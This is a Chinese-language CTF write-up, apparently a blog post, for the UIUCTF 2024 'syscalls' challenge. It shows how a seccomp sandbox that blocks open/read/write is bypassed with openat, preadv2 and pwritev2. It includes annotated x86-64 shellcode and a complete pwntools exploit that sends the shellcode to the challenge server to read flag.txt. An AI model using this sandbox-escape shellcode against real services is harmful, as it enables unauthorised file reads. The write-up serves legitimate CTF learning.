UIUCTF 2024 syscalls

syscalls

题目分析

image
image
image
main函数也很简单,根据提示认为是通过orw打开./txt文件
看看沙盒
image

攻击思路

在沙盒中 orw被禁用,在syscall.sh找到可替代orw的函数.即openat,preadv2,pwritev2.

openat用法
openat(int dirfd, const char *pathname, int flags);
openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd:当前工作目录; pathname:文件名; flags:控制打开方式 可选标志 mode:权限 在flags包含O_CREAT时有效.

preadv2 pwritev2用法
preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
fd:文件描述符
iov:iovec结构体数组 前八字节是读取的起始地址 后八字节表示读取的长度
struct iovec {
void *iov_base; // 缓冲区起始地址
size_t iov_len; // 缓冲区长度
};
iovcnt:读取的iov数组的元素数量
offset:文件偏移量 控制读写起点

exp

因此,
openat(AT_FDCWD, "./flag.txt", 0);
preadv2(3, {"rsp": 0x50}, 1, 0, 0);
pwritev2(1, {"rsp": 0x50}, 1, -1, 0);
即可实现orw打开flag.txt

openat(AT_FDCWD, "./flag.txt", 0);
mov rax, 257 ; syscall number for openat (257)
mov rdi, -100 ; AT_FDCWD (-100), 表示当前工作目录
mov rsi, 0x7478 ; 字符串 "xt"(小端序)
push rsi ; 压栈 "xt"
mov rsi, 0x742e67616c662f2e ; 字符串 "./flag.t"(小端序)
push rsi ; 压栈 "./flag.t"
mov rsi, rsp ; rsi = 栈顶指针(指向 "./flag.txt")
xor rdx, rdx ; rdx = 0(O_RDONLY 只读模式)
syscall ; 调用 openat

preadv2(3, {"rsp": 0x50}, 1, 0, 0);
mov rdi, rax ; rdi = 文件描述符(fd)
mov rax, 327 ; syscall number for preadv2 (327)
mov r12, rsp ; r12 = 栈指针
add r12, 0x50 ; r12 += 0x50(指向缓冲区)
mov r11, 0x50 ; r11 = 读取长度(0x50 字节)
push r11 ; 压栈 length
push r12 ; 压栈 buffer
mov rsi, rsp ; rsi = 指向 iovec 结构体 {buffer, length}
mov rdx, 1 ; rdx = iovcnt(iovec 数量)
mov r10, -1 ; r10 = offset(-1 表示不偏移)
mov r8, 0 ; r8 = flags(0 表示默认)
syscall ; 调用 preadv2

pwritev2(1, {"rsp": 0x50}, 1, -1, 0);
mov rax, 328 ; syscall number for pwritev2 (328)
mov rdi, 1 ; rdi = 1(stdout)
syscall ; 调用 pwritev2

点点我
from pwn import *

exe = ELF("./syscalls")
context.binary = exe

def conn():
    if args.LOCAL:
        io = process([exe.path])
        if args.DEBUG:
            gdb.attach(io)
    else:
        io = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
    return io

def main():
    io = conn()

    # openat(AT_FDCWD, "./flag.txt", 0)
    # preadv2(3, {"rsp": 0x50}, 1, 0, 0)
    # pwritev2(1, {"rsp": 0x50}, 1, -1, 0)
    sh = asm("""
                
            mov rax, 257   
            mov rdi, -100  
            mov rsi, 0x7478  
            push rsi
            mov rsi, 0x742e67616c662f2e  
            push rsi          
            mov rsi, rsp      
            xor rdx, rdx      
            syscall           

                
            mov rdi, rax      
            mov rax, 327      
            mov r12, rsp      
            add r12, 0x50     
            mov r11, 0x50     
            push r11          
            push r12          
            mov rsi, rsp      
            mov rdx, 1        
            mov r10, -1       
            mov r8, 0         
            syscall           

            
            mov rax, 328      
            mov rdi, 1        
            syscall           
    """)

    print(sh)
    io.sendline(sh)

    io.interactive()

if __name__ == "__main__":
    main()
posted @ 2025-07-27 14:43  awigwu76  阅读(19)  评论(0)    收藏  举报